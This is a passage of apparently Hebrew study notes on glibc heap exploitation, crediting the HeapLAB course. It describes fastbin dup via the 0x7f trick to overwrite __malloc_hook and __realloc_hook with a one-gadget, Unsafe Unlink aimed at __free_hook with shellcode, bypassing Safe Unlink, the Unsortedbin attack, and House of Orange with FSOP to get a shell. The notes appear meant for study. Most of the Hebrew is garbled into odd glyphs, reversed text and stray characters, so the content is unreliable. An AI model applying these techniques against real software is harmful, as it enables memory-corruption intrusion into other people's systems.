ˢ˷˧ˠ ˭ˣ˶˩˧ˤ˪ ˸˟ˣ˸˩˪ ˞˪ ˸˶˷ˣ˧ˬ ˨˩ ˸˧˟ˢ˷ ˫˰ ˨˶˰ˢ 0x7f ˪˷ s-vtable ptr ˡ˩˪˸˧ ˫˰ ˢˡ˷ ˪ˡˣˠˢ 

˵ˮˬ '˦˟ˬˢ ˪˷ malloc( . 

ˮˢ"˪ ˶˷˲˞˸ˬ ˧˩ ˸ˣ˞˴˵ˢ ˞˪ ˸ˣˮˣ˸ˮ ˸ˣ˵˧ˡ˟˪ ˶ˣ˷˧˧ )alignment (ˣ˞ ˸˸˥˷ˢ˪ ˫˧˪ˠˡ .ˢ˪˞˷ :˨˧˞ ˢˤ 

˪ˣ˩˧ ˸ˣ˧ˢ˪ ˨˶˰ˢ˷ ˪˷ s-MSB ˪˷ s-vtable ptr )0x7f (˞˪ ˰˲˷ˣˬ ˬ-ASLR ?ˢ˟ˣ˷˸ :˸˟ˣ˸˩ˢ ˣ˪˷ ˭˩ 

˸˰˲˷ˣˬ ˬ-ASLR ,˨˞ ˸˧˟˶ˬ˟ ˸ˣ˩˶˰ˬ ˯˵ˣˮ˧˪ x86 - ˸ˣ˧˶˲˯ ˡ˧ˬ˸ ˸ˣ˲ˣˬˬ ˸ˣ˟ˣ˸˩˪ ˸ˣ˪˧˥˸ˬˢ ˟-

0x00007f .˭˟ˣˬ˩ ˵˧˶˦ˢ˷ ˢˤˢ ˭˰˷ˮ ˪˰ ˨˩ ˣˮ˸˪ˣ˩˧˟˷ ˶ˣ˥˟˪ ˷˵˟˪ chunks ˪ˡˣˠ˟ 0x70. 

ˢˡ˧ˬ˟ ˭˸˧ˮˣ ˯ˣ˶ˡ˪ ˸˞ s-malloc_hook ˸˶ˤ˰˟ fastbin dup )ˣˬ˩ ˪˷ˬ˪ ˸˶ˤ˰˟ ˢˡ˷ ˪ˡˣˠˢ 0x7f ˧˲˩ 

ˣˮˡ˷ ˪˰ ˨˩ (˶˧˟˯ ˥˧ˮˢ˪ ˢ˧ˢ˧˷ ˭˸˧ˮ ˫ˠ ˯ˣ˶ˡ˪ ˸˞ s-realloc_hook ,˫ˣ˷ˬ ˞ˣˢ˷ ˞˴ˬˮ ˟-qword ˡ˧ˬ˷ 

˧ˮ˲˪ s-malloc_hook .˫˞ ˫ˣ˶ˠˮ ˪-realloc hook ˰˧˟˴ˢ˪ ˪˰ s-one gadget ˣˮ˪˷ )ˠˡ˞ˠ'˦ ˡ˧˥˧ ˪˧˟ˣˬˢ 

-˪ǎȅǎǘŜƳόάκōƛƴκǎƘ\0έύ .˫˞ ˫ˣ˶ˠˮ ˪-malloc_hook ˰˧˟˴ˢ˪ ˢˬ˩ ˫˧˸˟ ˧˶˥˞ s-realloc hook ˨˩˟ˣ ˪˟˵˪ 

˟˴ˬ ˢˮˣ˷ ˪˷ ˫˧˶˦˯˧ˠ˶ˢ )˦˶˲˟ˣ ˣ˪˞ ˪˷ ˸˧ˮ˯˥ˬˢ (˨˩ ˪˷-One gadget ˣ˧ˢ˧ ˶˸ˣ˧ ˫˧˧ˣ˩˧˯ ˡˣ˟˰˪. 

˸ˣ˪˟ˠˬ 

˸˵˧ˡ˟ ˢˡ˷ ˪ˡˣˠˢ ˶ˣ˟˰ fastbin chunks ˨˪ˢˬ˟ ˢ˞˴˵ˢ ˢ˪˧˟ˠˬ ˸˞ ˫˧ˡˬ˰ˣˬˢ ˪-chunks ˫˧˲˧˧ˣˤˬ. ˨˞ 

ˣˮ˷˧ ˠ˞˟ ˶˷˵ˢ˟ ˢˤ ˰˟ˣˮˢ ˬ-casting ˧ˣˠ˷ ˡˣ˵˟ ˫˶˦˷ ˭˵ˣ˸ :˶ˣ˷˧˵ м ˶ˣ˷˧˵ н 

  

https://sourceware.org/bugzilla/show_bug.cgi?id=26306
https://sourceware.org/bugzilla/show_bug.cgi?id=19449
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Unsafe Unlink 

ˢ˶˧˵˯ ˸˧˪˪˩ 

˸˥˶˩ˢ ˣ˶˵˞ˬˢ ˪˷ s-unlink ˡ˟˰˪ ˧˰˧˟˴ˬ fd/bk ˸˦˧˪˷˟ ˟˴˰ˬˢ ˪˧˟ˣ˸˷ ˢ˟˧˸˩˪ ά˸˲˵ˣ˷ˬ" 

˫˧˦˶˲ 

˨˪ˢˬ˟ ˡˣ˥˧˞ chunk ,-schunk ˶˟˩˷ ˶˷ˣ˵ˬ ˨ˣ˸˪ s-free list ˞˴ˣˬ ˢˬ˧˷˶ˬ xʕ ˰"˧ ˣ˶˵˞ˬ s-unlink .

˨˧˪ˢ˸˟ ˢ˶˸ˢˢ ˞ˣˢ ˰˴˟ˬ ˸ˣ˟˧˸˩ )άǊŜŦƭŜŎǘŜŘ ǿǊƛǘŜέ (˨ˣ˸ ˷ˣˬ˧˷ ˧˰˧˟˴ˬ˟ s-fd sx-bk ˪˷ s-chunk .

-sbk ˪˷ s-victim ˵˸˰ˣˬ ˪˰ ˧˟ˠ s-bk ˪˷ s-chunk ˰˴ˣˬˢ ˰"˧ s-fd ˪˷ s-victim sx-fd ˪˷ s-victim 

˟˸˩ˮ ˪˰ ˧˟ˠ s-fd ˪˷ s-chunk ˰˟˴ˣˬˢ ˰"˧ s-bk ˪˷ s-victim .ˢˡ˧ˬ˟ x-chunk x˟ ˫˧˰˧˟˴ˬˢ fd x-bk 

˫˧ˮ˸˧ˮ ˟ˣ˴˧˰˪ ˣˮˮˣ˴˶˩ )ˣˮ˸˦˧˪˷˟ (˶˸ˣ˧ ˨ˣ˸ˬ s-free list - ˪˩ˣˮ ˰˴˟˪ ˢ˧˴˪ˣ˲˧ˮˬ ˪˰ ˢ˟˧˸˩ˢ. 

˨˶ˡ ˸˥˞ ˠ˧˷ˢ˪ ˸˞ˤ ˞˧ˢ ˰"˧ ˢ˷˧˪ˠ ˪˞ ˨ˣ˸ ˢˡ˷ ˪ˡˣˠˢ ,ˢ˟˷ ˯˲˞ˮ ˸˞ ˦˧˟ s-PREV_INUSE .˷˩-

chunk ˢˤ˩˷ ˶˶˥ˣ˷˧ ,malloc ˢ˯ˮ˧ ˡ˥˞˪ ˣ˸ˣ˞ ˸˧ˮ˶ˣ˥˞ .˸˶ˤ˰˟ ˸˪ˣ˩˧ˢ ˟˴˰˪ ˸˞ ˢˡ˷ s-prev_size 

)s-qwords ˧ˮ˲˪˷ s-size_field (˪˩ˣˮ ˭ˣˣ˩˪ ˸˞ ˭ˣ˧˯˧ˮ ˡˣ˥˧˞ˢ ˪˞ chunk ˢ˴˵ˣˬ ˣ˟˷ ˫˧˞˴ˬˮ ˧˰˧˟˴ˬ s-fd 

ˢˣ-bk ˫˧˲˧˧ˣˤˬˢ. 

ˢˬˠˣˡ˪ :˷˵˟ˮ ˧ˮ˷ chunks - A x-B ,˰ˡ˧ˬˢ ˟ˣ˸˩ˮ˷ ˪-A ˷ˣ˪ˠ˧ ˨ˣ˸˪ ˢˡ˷ ˪ˡˣˠˢ ˪˷ B ,-xB ˳ˣ˥ˬ ˥ˣˣ˦˪ 

˪˷ ˧˪ˡˠ s-fastbin .˭˧˩ˮ fd x-bk ˫˧˲˧˧ˣˤˬ ˨ˣ˸˟ A ,-sfd ˰˧˟˴˧ ˪˞ __free_hook - 0x18 sx-bk ˰˧˟˴˧ ˪˞ 

shellcode ˭˩ˣˢ˷ ˶ˬ˷ˮˣ ˫ˣ˵ˬ˟ ˶˥˞ ˭ˣ˶˩˧ˤ˟ .˭ˣ˧˩ˮ ˢˡ˷ prev_size ˶ˣ˟˰ B ˫ˣ˶ˠ˧˷ ˭ˣ˧˯˧ˮ˪ ˡˣ˥˧˞˪ ˧˶ˣ˥˞ 

˪ˣ˰˲˪ ˪˰ s-fd ˢˣ-bk ˫˧˲˧˧ˣˤˬˢ .˱ˮˬˮ ˸˞ ˢ˷˧˪ˠˢ ˧ˡ˩ ˯˲˞˪ ˸˞ ˦˧˟ s-PREV_INUSE ˪˷ B. 

 

ϐ˶ˣ˧˞ мт Υ˸˧ˮ˩ˣ˸ ˸˲˵˸ˬ sπUnsafe-Unlink ˣˮ˪˷ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

˶˷˞˩ chunk B ˶˶˥ˣ˷ˬ - ˦˧˟ s-prev_size ˯˲ˣ˞ˬˢ ˣ˪˷ ˫˶ˣˠ ˪-malloc ˞ˣ˶˵˪ ˸˞ ˢˡ˷ s-prev_size 

˪˷ B ˶˧˸ˢ˪ˣ ˸˞ s-chunk ˞˴ˬˮ˷ ˶˲˯ˬ ˢˤ ˪˷ ˫˧˸˟ ˣ˧˶ˣ˥˞ˬ )˟ˣ˷˧˥ ˧˦ˬ˸ˬ ˫ˣ˵ˬ˟ ˞ˣ˶˵˪ 

˫˧˰˧˟˴ˬ .(!˶˷˞˩ ˣ˶˵˞ˬ s-unlink ˪˰ˣ˲ ˪˰ s-fd sx-bk ˫˧˲˧˧ˣˤˬˢ ,˞ˣˢ ˟˸ˣ˩ ˸˞ ˸˟ˣ˸˩ s-shellcode 

˪˞ ˨ˣ˸ s-free hook ˱˯ˣˮ˟ˣ ˨˩˪ ˟˸ˣ˩ ˸˞ ˸˟ˣ˸˩ˢ ˪˷ __free_hook - 0x18 ˪˞ s-3rd quadword ˪˷ 
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-sshellcode .ˢˤ ˞˪ ˢˤ˩ ˞˶ˣˮ ˧˩ s-shellcode ˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˸ˡˣ˵˲˟ jump ˧ˡ˩ ˠ˪ˡ˪ ˪˰ˬ ˫˧˸˟ˢ 

ˣ˸˥˷ˣˢ˷ ˫˰ ˨˶˰ s-fd .ˢ˞˧˶˵ ˪-free() ˳˧˶˸ ˸˞ s-shellcode 

 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

ˢˬˠˣˡ˟ ˸ˬˡˣ˵ˢ ,˭˸˧ˮ ˫ˠ ˷ˬ˸˷ˢ˪ ˢˡ˷˟ prev_size ˫˰ ˨˶˰ л ˟˴˰˪ˣ ˸˞ ˧˰˧˟˴ˬ s-fd sx-bk 

˫˧˲˧˧ˣˤˬˢ ˨ˣ˸˟ chunk B .ˢ˸ˣ˞ ˢ˵˧ˮ˩˦ˢ ˸ˮ˸˧ˮ ˫ˣ˷˧˧˪ ˶ˣ˟˰ ˡˣ˥˧˞ ˧ˬˡ˧˵ ,˨˞ ˸˷˶ˣˡ ˢ˦˧˪˷ ˢ˷˵ˣˮ 

˶˸ˣ˧ ˪˰ s-heap. 

 

˸ˣ˪˟ˠˬ 

ˢ˵˧ˮ˩˦ xʕ ˪˰˲˸ ˵˶ ˸ˣ˞˯˶ˠ˟ glibc <= 2.3.3 .˸˩˧˲ˢ ˨˧˪ˢ˸ ˢ˶˸ˢˢ ˧˸˥ˣ˦˧˟˪ ˶˸ˣ˧ )safe ǳƴƭƛƴƪέ"( 

ˢ˯ˮ˩ˣˢ ˢ˯˶ˠ˟ 2.3.4 ˸ˮ˷˟ нллп .˸ˣ˞˯˶ˠ ˢ˩ ˸ˣˮ˷˧ ˪˷ glibc ˧˧ˡ ˸ˣ˶˧ˡˮ .ˢ˵˧ˮ˩˦ xʕ ˢ˪˴ˣˮ ˢˮˣ˷˞˶˪ 

ˡˠˮ ˸ˣˬ˶ˣ˲˦˪˲ ˞˪˪ NX/DEP )Non-executable stack, heap and data section (˶˞ˣ˸ˬ˩ ˢˬˠˣˡ˟ ˮˢ"˪ .

˸ˮ˷˟ нлло AMD ˣ˯˧ˮ˩ˢ ˷ˣˬ˧˷˪ ˢ˩˧ˬ˸ ˟-NX ˢ˶ˬˣ˥˟ ˧ˡ˟˰ˬ˪ ˲ˣ˦˵˯ˡˢ ˫˧ˮ˩˶˴˪ ,˟ˣ-нллп ˪˦ˮ˧˞ 

ˢ˸˷˰ ˣˬ˩ ˭˩ .˸ˣ˩˶˰ˬ ˞˪˪ ˢˮˠˢ xʕ ˞˪ ˸ˣ˴ˣ˲ˮ )˭˸˧ˮ ˞ˣ˴ˬ˪ ˣ˪˞˩ ˧˪ˣ˞ ˵ˣ˷˟ s- Embedded systems ϧ 

Internet-of-things .( 
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Safe Unlink 

ˢ˶˧˵˯ ˸˧˪˪˩ 

ˢ˪˧˟˵ˬˢ ˸˧ˮ˶ˡˣˬˢ ˪˷ ˸˵˧ˮ˩˦ Unsafe Unlink .˸˴˪˞ˬ ˸˞ ˣ˶˵˞ˬ s-unlink ˡ˟˰˪ ˸˞ ˧˰˧˟˴ˬ s-fd 

ˢˣ-bk ˸˦˧˪˷˟˷ ˫˟˴˰ˬ ,˪˧˟ˣ˸˷ ˪"reflected write ."ˢˡ˧ˬ˰ ˧˞ˮ˸˟ ˸ˣ˵˧ˡ˟ˢ ˸ˣ˷ˡ˥ˢ ˸ˠ˷ˣˬ ˰"˧ ˭ˣˣ˧˩ 

ˢ˟˧˸˩ˢ ˣˤˢ ˪˞ ˰˧˟˴ˬ ˪˞ chunk ˞˴ˬˮ˷ ˷ˣˬ˧˷˟ )ˢ˴˵ˣˬ .(˫˞˸ˢ˟ ˡˣ˵˪ ˸˧ˮ˩ˣ˸ˢ - ˪˩ˣˮ ˯ˣ˶ˡ˪ ˰˧˟˴ˬ 

ˢˤ ˟ˣ˷ ,ˣ˶ˣ˸˟˷ ˷ˬ˷˧ ˢ˟˧˸˩˪ ˪˞ x˞ ˢ˞˧˶˵ ˸˟ˣ˸˩ˬ ˸˧˸ˣ˶˧˶˷. 

˫˧˦˶˲ 

ˢ˵˧ˮ˩˦ xʕ ˢˬˣˡ ˸ˬˡˣ˵˪ ,˪˟˞ ˸˥˵ˣ˪ ˭ˣ˟˷˥˟ ˸˞ ˸ˣ˵˧ˡ˟ˢ ˣ˯ˮ˩ˣˢ˷ ˢ˯˶ˠ˟ н.о.п .˸˵˧ˡ˟ ˢ˶˸ˢˢ 

ˢ˥ˣ˦˟ˢ ˸˞ˡˣˣˬ ˢ˷-chunk ˣˮ˞˷ ˫˧˯ˮˬ ˶˧˸ˢ˪ ˢˬ˧˷˶ˬ ˞ˣˢ ˵˪˥ ˢˬ˧˷˶ˬ xl ˸˧ˮˣˣ˧˩ ˧ˮ˲˪ ˰ˣ˴˧˟ 

ˢ˶˸ˢˢ .ˢ˵˧ˡ˟ˢ ˶ˣ˟˰˸ ˢ˥˪˴ˢ˟ ˫˞ s-bk ˪˷ s-chunk ˰˟˴ˣˬ˷ ˰"˧ s-fd ˪˷ s-victim chunk ˰˧˟˴ˬ 

ˢ˶ˤ˥˟ ˪˞ s-victim ,ˣ˸ˣ˞˟ˣ ˭˲ˣ˞ - ˢ˷-fd ˪˷ s-chunk ˰˴ˣˬ˷ ˰"˧ s-bk ˪˷ s-victim ˰˧˟˴ˬ ˢ˶ˤ˥˟ ˪˞ 

-svictim. 

˟˴˰ˮ chunk ˱˧˧ˣˤˬ ˪˧˥˸ˬˢ ˟-quadword ˭ˣ˷˞˶ˢ ˪˷ user data ˪˷ chunk ˧ˬ˧˦˧ˠ˪ ˢ˴˵ˣˬ ,˟ˣ˸˩ˮ 

˧˩˶˰˪ s-fd sx-bk ˣ˪˷ ˸˞ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˞˴ˬˮˢ 0x18 x-0x10 ˫˧˸˟ ˧ˮ˲˪ ˰˧˟˴ˬ )˞˴ˬˮˢ ˨ˣ˸˟ user data 

˪˷ chunk ˧ˮˣ˧ˬˡ ˶˥˞ ˞˪˷ ˟˧˧˥ ˸ˣ˧ˢ˪ ˟-heap - ˰˧˲ˣˬ ˶ˣ˧˞˟ ˞˟ˢ ˩-ΨǇƻƛƴǘŜǊΩ (-˪user data ˪˷ s-

chunk ˧ˬ˧˦˧ˠ˪ˢ x˟ ˫ˢ ˫˧˟˷ˣ˧ , 

˟˴˰ˮ ˸˞ ˢˡ˷ s-prev_size )˪ˣˠ˯˟ (˶ˣ˟˰ s-chunk ˟˵ˣ˰ˢ ˣˮ˧ˢ˷ 0x10 ˫˧˸˟ ˸ˣ˥˲ ˶˷˞ˬ ˪ˡˣˠˢ 

˧˸˧ˬ˞ˢ ˪˷ s-chunk ˫ˡˣ˵ˢ )˧ˡ˩ ˷-malloc ˟ˣ˷˥˧ ˢ˷-chunk ˣ˧ˮ˲˪˷ ˞ˣˢ s-chunk ˱˧˧ˣˤˬˢ ˣˮ˧ˮ˟˷ ,

˧˶ˢˣ ˤ˞˷ s-chunk ˷-malloc ˪˧˰˲˧ ˣ˶ˣ˟˰ ˸˞ ˣ˶˵˞ˬ s-unlink() ˢ˧ˢ˧ ˢˤ ˪˧˥˸ˬ˷ ˟-user data ˪˷ s-

chunk ˧ˬ˧˦˧ˠ˪ˢ .(˪˴ˮˮ ˠ˞˟ ˠˣ˯ˬ ˢ˷˧˪ˠ ˧ˡ˩ ˯˲˞˪ ˸˞ ˦˧˟ s-PREV_INUSE )˧ˡ˩ ˶˷˲˞˪ ˸˞ ˡˣ˥˧˞ˢ 

˧˶ˣ˥˞ˢ ,(˶˷˞˩ˣ chunk ˢˤ ˶˶˥ˣ˷˧ - malloc ˢ˯ˮ˧ ˡ˥˞˪ ˣ˸ˣ˞ ˸˧ˮˣ˶˥˞ ˫˰ s-chunk ˱˧˧ˣˤˬˢ: 

 
ϐ˶ˣ˧˞ муΥ Safe-Unlink ˟ˣ˴˧˰ chunk ˱˧˧ˣˤˬ ˨ˣ˸˟ chunk ˧ˬ˧˦˧ˠ˪ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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˫˧˷ˮ ˟˪ ˨˩˷ s-bk ˪˷ s-chunk ˰˟˴ˣˬˢ ˰"˧ s-fd ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˰˧˟˴ˬ ˢ˶ˤ˥˟ ˪-chunk 

˱˧˧ˣˤˬˢ ,ˢ˷ˣ-fd ˪˷ s-chunk ˰˟˴ˣˬˢ ˰"˧ s-bk ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˫ˠ ˭˩ ˰˧˟˴ˬ ˢ˶ˤ˥ ˪˞ s-chunk 

˱˧˧ˣˤˬˢ .˨˩ ˣˮˬ˧˧˵ ˸˞ ˸ˣ˷˧˶ˡ ˸˵˧ˡ˟ ˢ˶˸ˢˢ ˢ˥ˣ˦˟ˢ .˸˞˴ˣ˸ ˨˧˪ˢ˸ ˢ˶˸ˢˢ ˞˧ˢ ˰˧˟˴ˬˢ˷ ˪-chunk 

˱˧˧ˣˤˬˢ )˰˧˟˴ˬ ˪-user data ˪˷ chunk ˧ˬ˧˦˧ˠ˪ (˯˶ˡˮ ˫˰ ˸˟ˣ˸˩ˢ ˪˷ ˣˬ˴˰ ˸ˣ˥˲ 0x18 )нп ˫˧˸˟( 

˫˞ ˰˧˟˴ˬ ˢˤ ˷ˬ˷ˬ ˢ˟˧˸˩˪ ˰ˡ˧ˬ ,˶˷˲˞ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˯ˣ˶ˡ˪ ˸˞ ˣˬ˴˰ ˫˰˲ ˢ˧ˮ˷ ˫˰ ˸˟ˣ˸˩ˢ ˪˷ 

˰ˡ˧ˬ ˷˧ˠ˶ )˸ˠ˪ˤˢ ˰ˡ˧ˬ( ˶˥˞˪ˣ ˭˩ˬ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˪˟˥˪ ˰ˡ˧ˬ˟ ˢˤ. 

ˢ˶ˢ˟ˢ: "pointer "˞ˣˢ ˰˧˟˴ˬˢ ˷ˬ˸˷ˬˢ˷ ˪˟˧˵ ˪-user data ˪˷ s-chunk ˭ˣ˷˞˶ˢ ˢ˴˵ˣˢ˷ .ˣˮ˞ 

˫˧˥˧ˮˬ ˣˮ˞˷ ˫˧˰ˡˣ˧ ˭˩˧ˢ ˢˮ˸˷ˬˢ ˶ˣˬ˷ ˭ˣ˶˩˧ˤ˟ )ˢˬˠˣˡ˪ :"˧˰ ˷ˣˬ˧˷ ˫˷˟ ˪˷ ˨˶˰ˬ ˪˰ s-stack ˪˧˩ˬ˷ 

˫˧˰˧˟˴ˬ ˣ˪˞˩( 

 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

"˧˰ ˟ˣ˴˧˰ ˪˷ prev_size ˪ˣˡˠ ˡˣ˞ˬ - ˭ˣ˧˯˧ˮˢ ˡˣ˥˧˞˪ ˧ˣ˷˰ ˱˧˵ˢ˪ ˸˞ ˟˥˶ˬ ˭ˣ˶˩˧ˤˢ ˧˪˞ˣ˦˶˧ˣˢ ˪ˣ˰˲˪ˣ ˪˰ 

chunk ˱˧˧ˣˤˬ ˨ˣ˸˟ s-chunk ˶˶˥ˣ˷ˬˢ 

 

˸ˣ˪˟ˠˬ 

ˢ˯˶ˠ н.нс ˪˷ glibc ˢˠ˧˴ˢ ˢ˵˧ˡ˟ ˪˷ ˢˡ˷ ˪ˡˣˠˢ (size) ˸ˬˣ˰˪ prev_size ˸˷˶ˣˡˢ ˢˡ˷˷ ˪ˡˣˠ ˪˷ s-

chunk ˱˧˧ˣˤˬˢ ˡˣˬ˰˧ ˧˞ˮ˸˟ ˦ˣ˷˲ :˨˶˰ˢ˷ ˞˴ˬˮˢ ˸˟ˣ˸˩˟ ϧfake_chunk + size_field ˢ˧ˢ˧ ˢˢˤ ˢˡ˷˪ 

˪ˡˣˠˢ ˣ˪˷ )˸˞ˤ ˨˶ˡ "˞˪ ˢ˥ˣ˦˟ "˵ˣˡ˟˪ ˨˶˰˷ s"fake prev_size "ˢˢˤ ˪-fake size_field ,(ˢˬˠˣˡ ˨˩˪ 

˞˧ˢ˷ ˞˪ ˢ˥ˣ˦˟ :˫˞ ˟ˣ˸˩ˮ ˨ˣ˸˪ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˸˞ ˨˶˰ˢ у ,˞ˣˢ ˡ˧ˬ˸ ˶ˣ˟˰˧ ˸˞ 

ˢ˵˧ˡ˟ˢ )˞˪ ˢˮ˷ˬ ˢˬ ˷˧ ˟-fake prev_size .(ˢ˵˧ˡ˟ ˸˲˯ˣˮ ˢˬˣˡ ˢˠ˴ˣˢ ˢ˯˶ˠ˟ 2.29 ,˞˧ˢ ˸˷˶ˣˡ 

˨˶˰˷ ˢˡ˷ ˪ˡˣˠˢ ˪˷ s-chunk ˱˧˧ˣˤˬˢ ˫˧˞˸˧ ˨˶˰˪ s-prev_size )ˣ˪˷ (ˣˮ˟˴˧˰˷. 
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Unsortedbin Attack 

ˢ˶˧˵˯ ˸˧˪˪˩ 

ˢ˲˵˸ˬ xʕ ˢ˟˧ˮˬ ˣˮ˪ primitive ˢ˞˶ˮ˷ ˧˸˪˟ ˵˧ˤˬ ,˨˞ ˶˷˞˩ ˞˧ˢ ˸ˡˬ˴ˣˬ ˸ˣ˵˧ˮ˩˦˪ ˸˧˧˴˦ˣ˪˲˯˵˞ 

heap ˸ˣ˶˥˞ - ˫˧˪˟˵ˬ ˦˵˲˞ ˶˩˧ˮ .˞˧ˢ ˸˟˸ˣ˩ ˸˞ ˸˟ˣ˸˩ s-unsortedbin ˪˷ s-arena ˫ˣ˵˧ˬ˪ 

˧˸ˣ˶˧˶˷ ˭ˣ˶˩˧ˤ˟. 

˫˧˦˶˲ 

˸˰˟ ˷-chunk ˢ˴˵ˣˬ x˞ ˭˧˧ˣˬˬ ˨ˣ˸ˬ unsortedbin ,˞ˣˢ ˭ˣ˸ˮ ˢˬ˪ ˷-malloc ˯˥˧˧˸ˬ ˣ˧˪˞ ˩"ˢ˶˸ˢ 

˸˧˵˪˥ ."ˣˢˤ ˨˧˪ˢ˸ˢ ˪˷ ˸˶˯ˢ chunk ˨ˣ˸ˬ ˢ˴˵ ˟ˮˤˢ ˪˷ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xl-˸˧ˮˣˣ˧˩ ˸˧˪ˠ˰ˬ ,˵˪˥ˣ 

ˡ˥˞ ˨˧˪ˢ˸ˬ ˢˤ ˨ˣ˶˩ ˸˟˧˸˩˟ ˸˟ˣ˸˩ˢ ˪˷ s-unsortedbin )chunk ˧ˮˣ˧ˬˡ ˶ˣˬ˷ˢ ˨ˣ˸˟ s-arena ˪˧˩ˬˣ 

˵˶ ˰˧˟˴ˬ ˧ˬˡ˵ ˷˞˶˪ ˧˶ˣ˥˞ˣ ˟ˮˤ˪ ˸ˬ˧˷˶ s-unsortedbin (˪˰ ˧˟ˠ ˰˧˟˴ˬ s-fd ˪˷ s-chunk ˰˟˴ˣˬˢ 

"˧˰ ˢˡ˷ s-bk ˪˷ ˪˷ s-victim chunk. 

ˢ˲˵˸ˬ˟ xʕ ˣˮ˞ ˫˧˟˴˰ˬ ˸˞ ˰˧˟˴ˬ s-bk ˪˷ chunk ˶˷ˣ˵ˬˢ ˪˞ ˨ˣ˸ s-unsortedbin ˰"˧ ˠ˞˟ ˢ˷˧˪ˠ x˞ 

write-after-free ,˶˥˞˪ ˭˩ˬ ˫˧˴˵ˬ ˸˞ s-chunk ˢˬ-unsortedbin ˨˩˟ˣ ˣˮ˪˟˧˵ ˢ˟˧˸˩ ˪˷ ˸˟ˣ˸˩ s-

unsortedbin ˪˞ 0x10 ˫˧˸˟ ˧˶˥˞ ˸˟ˣ˸˩ˢ ˣˮ˩ˢ˷ ˷˞˶ˬ )ˢˡ˷ s-fd (˰˧˟˴ˬ˟ s-bk. 

˫˧˷ˣˬ˧˷ ˫˧˲˯ˣˮ 

˫˧˷ˣˬ˧˷ ˫˧˧ˮ˶ˡˣˬ ˢ˲˵˸ˬ˟ xʕ ˫˧˪˪ˣ˩ ˢˠ˪ˤˢ ˪˷ ˸˟ˣ˸˩ ˬ-libc ,˪˷ˬ˪ ˢ˟˧˸˩ ˪˷ ˸˟ˣ˸˩ s-

unsortedbin ˪˷ s-main arena ˪˞ ˨ˣ˸ ˳˴ˣ˥ ˦˪˲. 

 ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢ˟ ˧ˡ˩ ˪˶˦ˮ˪ ˸˞ ˸˵˧ˡ˟ ˸ˣˬ˪˷ˢ ˪˷ s-vtable ˪˷ libio ˸ˣ˞˯˶ˠ˟ glibc н.нп-н.нс ˰"˧ 

˭ˣˬ˧˯ ˪ˣ˟ˬ˧˯ s-_dl_open_hook ˡ˰˧˩ ˢ˟˧˸˩ .˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢ˟ ˫ˠ ˧ˡ˩ ˸˧˥˷ˢ˪ ˸˞ ˢˮ˸˷ˬˢ 

global_max_fast ˧ˡ˩ ˱ˮˬ˪ ˟˧˦˧ˬ˧˶˲ ˠˣ˯ˬ House of prime .˸˵˧ˮ˩˦ s-House of Orange ˸˦ˠ˶˦ˬ 

)˸ˮ˧˧ˮˣ˰ˬ ˟ˣ˸˩˪ ˪˞ (˸˞ ˪ˣ˟ˬ˧˯ s-_IO_list_all ˸˶ˤ˰˟ unsortedbin attack ˵˪˥˩ ˭ˣ˯˧ˮˬ ˰˴˟˪ 

ˢ˧˴˦ˣ˪˲˯˵˞ ˪˷ File stream )FSOP- File Stream oriented programming( 

˸ˣ˪˟ˠˬ 

˭ˣˣˠˬ ˸ˣ˵˧ˡ˟ ˸ˣˬ˪˷ ˪˰ s-unsortedbin ˣ˯ˮ˩ˣˢ ˢ˯˶˧ˠ˟ н.нф ˪˷ glibc ,˸˥˞ ˭ˢˬ ˸˞ˡˣˣˬ ˢ˷-chunk 

˰˟˴ˣˬˢ ˰"˧ victim.bk->fd ˞ˣˢ ˭˩˞ s-victim chunk ˨˩˟ˣ ˷˟˷˪ ˢ˲˵˸ˬ xʕ. 
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)House of Orange (2016 - An-Jie Yang - Angelboy 

ˢ˶˧˵˯ ˸˧˪˪˩ 

ˢ˵˧ˮ˩˦ xʕ ˸˲ˮˬˬ ˢ˷˧˪ˠ ˪˞ ˨ˣ˸ s-top chunk ˪˷ s-main arena ˪˰ ˸ˮˬ ˠ˧˷ˢ˪ shell )˸˧˪ˠˮ˞˟ 

˫˧˶ˬˣ˞ ˫˧˸˧˰˪ drop/pop a shell( ,˞˧ˢ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˢ˧˴˦ˣ˪˲˯˵˞˟ ˪˷ file stream )FSOP (˧ˡ˩ ˠ˧˷ˢ˪ 

˸˪ˣ˩˧ ˸˴˶ˢ ˡˣ˵ ˸˪˪ˣ˩ˣ ˫ˣ˷˧ ˷ˡ˥ / ˧˶ˣ˵ˬ ˪˷ ˸˲˵˸ˬ unsortedbin. 

˫˧˦˶˲ 

˭˸˧ˮ ˵˶˲˪ ˢ˲˵˸ˬ xʕ ˪-о ˫˧˟˪˷: ˸˟˥˶ˢ s-top chunk ,ˢ˲˵˸ˬ ˪˰ s-unsortedbin ,-xFSOP .˟˪˷ˢ 

˭ˣ˷˞˶ˢ ˪˴ˮˬ ˸˞ ˨˶ˡˢ ˢ˟˷ s-main arena ˰˴˟ˬ ˢ˟˥˶ˢ ˪˷ s-top chunk .˶˷˞˩ s-top chunk ˪˷ 

-smain arena ˢ˴ˣˬˬ ˡ˰ ˫ˣ˸ ,˸˥˪˷ˮ ˢ˷˵˟ ˡˣ˰˪ ˭ˣ˶˩˧ˤ ˪ˮ˶˵ˢˬ ˰"˧ s-syscall brk() . 

˫˞ ˭ˣ˶˩˧ˤ ˢˤ ˣˮ˧˞ ˱˧˴˶ ˯˥˧˟ ˪-top chunk - ˞ˣˢ ˭ˬˣ˯˧ ˩-top chunk ˷ˡ˥ˢ ,ˢˣ-top chunk ˭˷˧ˢ ˶˶˥ˣ˷˧ .

